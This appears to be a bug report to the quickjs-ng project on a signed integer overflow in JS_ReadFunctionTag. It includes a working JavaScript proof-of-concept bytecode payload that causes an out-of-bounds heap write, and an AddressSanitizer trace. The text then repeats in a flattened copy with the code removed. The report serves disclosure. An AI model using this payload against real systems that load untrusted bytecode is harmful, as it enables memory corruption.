JS_ReadFunctionTag in quickjs.c reads length fields from user-provided bytecode stream without bounds validation. A crafted local_count value causes a signed integer overflow in the function_size calculation, resulting in an undersized heap allocation followed by an out-of-bounds write.
Unchecked reads, size calculation, and memory allocation:
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38023-L38040
Here js_mallocz will be called with the overflowed, undersized value.
Later a loop iterates over the undersized buffer causing oob write:
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38079
PoC
var payload = [
0x17, // BC_VERSION
0x00, // atom_count = 0
0x0c, // BC_TAG_FUNCTION_BYTECODE
0x00, 0x00, // flags u16 (no debug_info)
0x00, // is_strict_mode
0x00, // func_name (atom 0 = JS_ATOM_NULL)
0x00, // arg_count
0x00, // var_count
0x00, // defined_arg_count
0x00, // stack_size
0x00, // var_ref_count
0x00, // closure_var_count
0x00, // cpool_count
0x00, // byte_code_len
// local_count = 0x40000000 (LEB128 encoding)
0x80, 0x80, 0x80, 0x80, 0x04,
// first vardef entry — will be written OOB into heap (0 bytes past alloc end)
0x00, // var_name atom (triggers OOB WRITE via bc_idx_to_atom)
0x00, // scope_level
0x00, // scope_next
0x00, // flags
];
var buf = new Uint8Array(payload).buffer;
bjson.read(buf, 0, buf.byteLength, bjson.READ_OBJ_BYTECODE);
ASan:
==2187==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50d0000045d8 at pc 0x56444bd9e922 bp 0x7ffed387c5f0 sp 0x7ffed387c5e8
WRITE of size 4 at 0x50d0000045d8 thread T0
#0 0x56444bd9e921 in bc_idx_to_atom .../quickjs/quickjs.c:37784:12
#1 0x56444bd9e921 in bc_get_atom .../quickjs/quickjs.c:37797:16
#2 0x56444bd9b758 in JS_ReadFunctionTag .../quickjs/quickjs.c:38081:17
#3 0x56444bd1bddf in JS_ReadObjectRec .../quickjs/quickjs.c:38689:15
#4 0x56444bd1adab in JS_ReadObject2 .../quickjs/quickjs.c:38866:15
#5 0x56444bca9936 in js_bjson_read .../quickjs/quickjs-libc.c:4935:11
#6 0x56444bcac592 in js_call_c_function .../quickjs/quickjs.c:17143:19
#7 0x56444bcef798 in JS_CallInternal .../quickjs/quickjs.c:17359:16
#8 0x56444bcf3313 in JS_CallInternal .../quickjs/quickjs.c:17817:27
#9 0x56444bdc9f78 in async_func_resume .../quickjs/quickjs.c:20257:12
#10 0x56444bdc9f78 in js_async_function_resume .../quickjs/quickjs.c:20512:16
...
Thanks for looking into this and we appreciate any feedback!
JS_ReadFunctionTaginquickjs.creads length fields from user-provided bytecode stream without bounds validation. A craftedlocal_countvalue causes a signed integer overflow in thefunction_sizecalculation, resulting in an undersized heap allocation followed by an out-of-bounds write.Unchecked reads, size calculation, and memory allocation:
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38023-L38040
Here
js_malloczwill be called with the overflowed, undersized value.Later a loop iterates over the undersized buffer causing oob write:
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38079
PoC
ASan:
Thanks for looking into this and we appreciate any feedback!